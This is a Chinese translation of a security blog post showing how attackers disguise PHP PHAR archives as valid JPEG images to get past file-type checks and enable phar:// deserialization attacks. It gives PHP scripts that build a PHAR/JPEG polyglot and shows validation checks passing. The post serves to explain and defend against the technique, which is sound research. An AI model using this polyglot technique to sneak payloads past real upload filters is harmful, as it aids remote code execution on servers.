攻擊者是如何將PHP Phar包偽裝成影象以繞過檔案型別檢測的
原文： ofollow,noindex">https://www.nc-lp.com/blog/disguise-phar-packages-as-images
在US BlackHat 2018大會上，安全人員證明，攻擊者不僅可以利用PHAR包發動RCE攻擊，而且，通過調整其二進位制內容，他們還可以將其偽裝成一幅影象，從而繞過安全檢查。
在本文中，我們來看看第二點是如何做到的。
背景知識
在US BlackHat 2018大會期間，Sam Thomas召開了一個關於在PHP中利用 phar:// 流包裝器來實現針對伺服器的程式碼執行攻擊的研討會（ 幻燈片 ）。
在執行PHAR包時，由於PHP會對其內容進行反序列化，從而允許攻擊者啟動一個PHP物件包含鏈。其中，最有趣的部分在於如何觸發有效載荷：歸檔上的任何檔案操作都將執行它。最後，攻擊者根本無需關心檔名是否正確，因為即使是失敗的檔案呼叫，PHP也會對其內容進行反序列化處理。
此外，攻擊者完全可以將PHAR包偽裝成一幅影象：在這篇文章中，我們將為讀者解釋他們是如何做到這一點的。
降至位元組碼級別
有時我們會忘記這一點，那就是在機器眼裡，檔案只不過是一堆遵循預定義結構的位元組而已。對於應用程式而言，將檢查自己是否可以管理這樣的資料流，如果可以的話，就會生成相應的輸出。
在Thomas的演講中，曾提示如何建立具有有效JPEG頭部的PHAR包。
圖片引自Sam Thomas的幻燈片
不過，這裡我們要做的是建立一個具有JPEG頭部的檔案，並更新PHAR的校驗和。這樣一來，PHAR包一方面會被視為一個影象，同時，PHP還可以繼續執行它。
開始下手
聽起來，這裡只需修改幾個位元組並更新校驗，按說應該非常輕鬆，對吧？
然而，事實並非如此。
計算校驗和（至少對我來說）是一件讓人頭痛的事情。所以，我想：如果讓PHP來代勞的話，會怎樣呢？
所以，我對Thomas的原始劇本進行了一番改造，具體如下所示：
<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
如您所見，這裡將原始HEX位元組新增到了PHAR存檔的存根部分。下面是原始HEX得到的結果：
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0aCOMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5btest.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000.....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35eatesto...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42....r.&.....GBMB
這同時是一個合法的PHAR包，以及一幅合法的JPEG影象嗎？
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
看到了吧，PHP將其視為一幅影象，我們仍然可以探索存檔的內容。哈哈，好玩吧！
注意：請仔細檢視存根部分，看看它是如何“跳過”開頭部分的PHP標記的。因為這裡是繞過大多數內容掃描程式的關鍵所在。對於存檔來說，是否有效的關鍵在於函式 __HALT_COMPILER() ； 我認為，PHP會通過它來確定出應該“跳過”多少資料。
更進一步
到目前為止，我們製作的檔案已經可以通過任何基於檔案頭的型別檢測了，但是，對於更高階的檢測方法來說，它就無能為力了。例如，使用 getimagesize 來檢查檔案內容是否為影象的話，將返回false，因為它並不是一幅“真正”的影象：
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
看到了吧。
但是，別忘了，我們可以在 __HALT_COMPILER() 標記之前填充任意的資料的，所以，如果我們在此填入一幅完整的影象的話，會怎樣呢？於是，我花了大量的時間去研讀 JPEG規範 和 PHP原始碼 ，不過最後仍然沒有理出頭緒，所以，我果斷決定放棄——太複雜了。
那麼，能否直接使用GIMP建立10x10黑色影象並嵌入其中呢？
<?php
class TestObject {}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
好了，看看效果如何：
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
這次，我們如願以償了。這個檔案不僅是一個包含我們想要利用的類的PHAR包，同時，它還是一幅合法的影象（我們甚至可以用系統圖像檢視器開啟它）：
小結
正如我們剛才看到的，檔案實際上只是一堆位元組而已：如果我們只是利用其元資料進行型別檢測的話，那麼很可能會出錯：攻擊者可以輕鬆繞過檢測，並返回他們想要的檔案型別。要想檢測檔案型別，更加可靠的解決方案是直接讀取檔案內容並搜尋惡意字串。